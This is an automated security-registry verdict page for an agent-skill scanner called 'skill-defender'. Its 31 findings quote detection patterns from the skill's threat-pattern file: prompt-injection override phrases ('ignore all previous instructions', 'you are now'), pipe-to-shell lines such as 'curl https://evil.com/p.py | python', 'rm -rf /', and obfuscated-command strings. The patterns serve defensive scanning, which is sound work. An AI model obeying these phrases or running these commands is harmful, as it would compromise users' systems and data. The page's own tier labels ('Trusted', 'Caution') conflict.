Caveat verdict

skill-defender

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

Offline security scanner for installed skills using Python scripts with deterministic pattern matching; no network access or credential use is declared or evident.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
90
transparency
70
maintenance

Findings (31)

Pattern match high

Prompt injection — tries to override agent instructions

references/threat-patterns.md · prose · downgraded · ignore all previous instructions

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

references/threat-patterns.md · prose · downgraded · curl ... \| sh

Pattern match high

Pipe-to-shell pattern (wget | sh)

references/threat-patterns.md · prose · downgraded · wget ... \| sh

Pattern match high

Pipe-to-python pattern — remote code execution risk

references/threat-patterns.md · prose · downgraded · curl https://evil.com/p.py \| python

Pattern match high

Pipe to bash — executes piped content as shell commands

references/threat-patterns.md · prose · downgraded · | bash

Pattern match high

Pipe to sh — executes piped content as shell commands

references/threat-patterns.md · prose · downgraded · | sh

Pattern match high

Pipe to python — executes piped content as Python code

references/threat-patterns.md · prose · downgraded · | python3

Pattern match high

Recursive delete from root or home — destructive command

references/threat-patterns.md · prose · downgraded · rm -rf /

Pattern match high

Uses eval() — can execute arbitrary code

references/threat-patterns.md · prose · downgraded · eval(

Pattern match high

Dynamic __import__('os') — Python OS command execution

references/threat-patterns.md · prose · downgraded · __import__('os')

Pattern match medium

Possible prompt injection — attempts to redefine agent identity

references/threat-patterns.md · prose · downgraded · You are now

Pattern match medium

Fake system prompt — attempts to inject instructions

references/threat-patterns.md · prose · downgraded · system: you are

Pattern match medium

Redefines agent role — prompt injection technique

references/threat-patterns.md · prose · downgraded · from now on, you are

Pattern match medium

HTTP request to bare IP address — common in malicious payloads

references/threat-patterns.md · prose · downgraded · http://192.168.1.100

Pattern match medium

Hex-encoded string — possible obfuscated payload

references/threat-patterns.md · prose · downgraded · \x72\x6d\x20\x2d\x72\x66

Pattern match medium

Python chr() concatenation — builds strings to evade detection

references/threat-patterns.md · prose · downgraded · chr(114)+chr(109)

Pattern match medium

Uses exec() — may execute shell commands

references/threat-patterns.md · prose · downgraded · exec(

Pattern match medium

subprocess execution — runs system commands from Python

references/threat-patterns.md · prose · downgraded · subprocess.call(

Pattern match medium

os.system/popen — direct OS command execution

references/threat-patterns.md · prose · downgraded · os.system(

Pattern match medium

subprocess with shell=True — command injection vector

references/threat-patterns.md · prose · downgraded · subprocess.call(...shell=True

Pattern match medium

References sudo — requests elevated privileges

references/threat-patterns.md · prose · downgraded · sudo

Pattern match medium

setuid — privilege escalation mechanism

references/threat-patterns.md · prose · downgraded · setuid

Pattern match medium

Accesses .ssh directory

references/threat-patterns.md · prose · downgraded · .ssh/

Pattern match low

String.fromCharCode — can build strings to evade detection

references/threat-patterns.md · prose · downgraded · String.fromCharCode

Pattern match low

Python urllib.request — network access

references/threat-patterns.md · prose · downgraded · urllib.request

Pattern match low

POSTs data to external URL

references/threat-patterns.md · prose · downgraded · .post('https://

Pattern match low

References agent memory files

references/threat-patterns.md · prose · downgraded · MEMORY.md

Pattern match low

References tunneling service

references/threat-patterns.md · prose · downgraded · ngrok

Pattern match low

Sets world-executable permissions

references/threat-patterns.md · prose · downgraded · chmod 777

Pattern match low

Changes file ownership

references/threat-patterns.md · prose · downgraded · chown

Pattern match low

Python os.environ.get — reads environment variable

scripts/scan_skill.py · prose · downgraded · os.environ.get(

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API